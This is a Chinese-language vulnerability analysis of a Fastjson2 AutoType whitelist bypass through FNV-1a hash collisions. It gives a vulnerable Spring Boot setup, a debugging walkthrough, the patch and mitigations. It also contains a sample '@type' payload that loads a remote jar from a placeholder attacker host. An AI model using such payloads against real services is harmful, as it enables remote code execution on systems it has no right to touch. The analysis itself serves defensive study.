Fastjson2 漏洞

**通过哈希碰撞绕过白名单:**Fastjson2 为了加速 AutoType 白名单匹配,采用增量 FNV-1a 哈希。旧版本在哈希命中后缺少完整名称回验,使构造碰撞字符串成为可能。

**FNV-1a 是非密码学哈希,**速度快,但不以抗碰撞为设计目标。攻击者可结合具体白名单配置计算碰撞字符串。

影响版本 Fastjson2 ≤ 2.0.62(2.0.63 已修复)
利用条件 Fastjson2 ≤ 2.0.62;未开启 SafeMode;应用存在可命中的 AutoType 白名单或自定义 AutoType 处理逻辑;具体远程加载链还要求相应类加载器、依赖与网络条件
核心特点 利用 FNV-1a 哈希碰撞绕过旧版本的白名单哈希匹配;Fastjson2 默认禁用 AutoType,不能把默认配置直接等同于可利用
利用方式 在满足上述前提时,构造碰撞类型名并结合具体类加载链触发;jar:http:// 只是特定环境中的一种利用形式
JDK 影响 能否利用取决于 JDK、类加载器、模块限制和应用依赖,不能笼统表述为与 JDK 安全机制无关

Fastjson2 2.0.63 已增加类型名校验和白名单名称文本回验。无法立即升级时,可在未使用自定义 AutoTypeBeforeHandler 的场景下启用 -Dfastjson2.parser.safeMode=true 作为缓解措施。

0x01 漏洞复现

环境搭建

spring boot环境,需要打包成jar然后启用

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<!-- Spring Boot Web -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<!-- 漏洞版本: fastjson2 2.0.62 (受 FNV hash 碰撞影响) -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.62</version>
</dependency>
</dependencies>
1
2
3
4
5
@PostMapping("/parseObject")
public Object parseObject(@RequestBody String json) {
// 通配 Object.class 触发 ObjectReaderImplObject → checkAutoType
return JSON.parseObject(json, Object.class);
}

java1.8 流程调试

手打的payload

1
{"@type":"jar:http://{{attacker_ip}}/evil.jar!/com.evil.Payload","x":1}

启动使用debug调试

1
java  -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005  -jar 

前面是SafeMode 检查 → 默认 false,放行

typeName 长度校验 → ≤192 放行

数组类型处理(以 [ 开头)→ 不匹配,跳过

SupportAutoType 检查 → 默认 false

直接断点到,com.alibaba.fastjson2.reader.ObjectReaderProvider#checkAutoType的 (SupportAutoType=false) ,默认就是false,会直接进入增量 FNV-1a 哈希白名单检查,这个是漏洞的关键点

就需要 jar:jar:http:///evil.jar!/+ <4字符碰撞后缀>

1
2
3
4
5
6
7
8
9
10
11
12
long hash = MAGIC_HASH_CODE;  // 初始值 -3750763034362895579
for (int i = 0; i < typeNameLength; ++i) {
char ch = typeName.charAt(i);
if (ch == '$') ch = '.';
hash ^= ch; // 异或当前字符
hash *= MAGIC_PRIME; // 乘以大素数 1099511628211
// 白名单检查:每算一步就查一次
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = loadClass(typeName); // 注意:加载的是【完整】typeName
return clazz;
}
}

acceptHashCodes:一个 long 数组,存储了白名单哈希值。

  • 哈希是增量计算的:hash 的值随着字符一个个读入不断演变,不是最后算一次
  • 每读一个字符查一次白名单:在 for 循环内部、hash 更新后立即 binarySearch
  • 命中后 loadClass(typeName)typeName 是整个原始字符串,不是白名单里的真实类名

image.png

FNV-1a 哈希是逐字符递推的:

hash(0) = 固定初值

hash(i) = (hash(i-1) ^ char_i) * 大素数

这意味着:

  • 修改字符串中的任何一个字符,都会改变从这个字符开始往后所有字符的哈希值
  • 无法单独控制“让第 k 步的哈希恰好等于目标值”,因为第 k 步的哈希依赖于前面所有字符。

在读到某一个字符时,当时的 hash 值命中了白名单就行。 loadClass就加载恶意类了。

1
clazz = loadClass(typeName);   // 为方便本地演示,将 typeName 从 jar:http:// URL 改为本地类名

image.png

继续跟进。为了方便演示,缓存中已经存在测试类,最终命中 TYPE_MAPPINGS 缓存并返回 EvilClass.class。这只是本地调试条件,不能代替真实利用环境中的远程类加载过程。

在满足特定 Spring Boot FatJar 类加载条件时,流程可能执行 JSON.class.getClassLoader().loadClass(className),再由 LaunchedURLClassLoader 处理 jar:http://jar:file: 形式的资源。该行为依赖具体 Spring Boot 版本、类加载器实现和网络条件。

image.png

加载成功后返回对应的 Class 对象,后续进入常规类型检查与对象创建流程。

总结

实际利用很麻烦,64-bit 哈希碰撞需要约 2^48 次操作级的搜索规模,就需要非常久的时间。需要是spring环境,通过java jar的方式启动,因为Class.forName 不支持 jar:http:// URL,但 URLClassLoader 本身可以——实际攻击需要哈希碰撞路径触发 loadClass,再配合能解析 JAR URL 的 ClassLoader

0x02 漏洞修复

只有当哈希命中当前已读的字符串(即 typeName 的前 i+1 个字符)与白名单中的某个类名完全一致时,才放行加载。否则 continue,继续读下一个字符。

攻击者构造的碰撞字符串,例如 jar:http:..3232235974:8888.poc!.E는犩蒭ᴛ进,虽然哈希值在某一步命中了白名单(比如对应 com.alibaba.fastjson.util.AntiCollisionHashMap),但当代码取出 typeName.substring(0, i+1) 时,得到的是 jar:http:..3232235974:8888.poc!.E는犩蒭ᴛ进 的前缀,它绝不等于com.alibaba.fastjson.util.AntiCollisionHashMap

1
2
3
4
5
6
7
8
9
10
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
// ★★★ 新增:检查当前已读前缀(substring(0, i+1))是否在白名单类名集合中
if (!acceptNameSet.contains(normalizeAcceptName(typeName.substring(0, i + 1)))) {
continue; // 不在白名单中,跳过本次命中,继续循环
}
clazz = loadClass(typeName);
// 后续 deny class 检查、类型匹配检查保持不变
...
return clazz;
}

image.png

0x03 防御

1. 根治方案:升级到最新

2. 启用 SafeMode

这样@type关键字就没有用了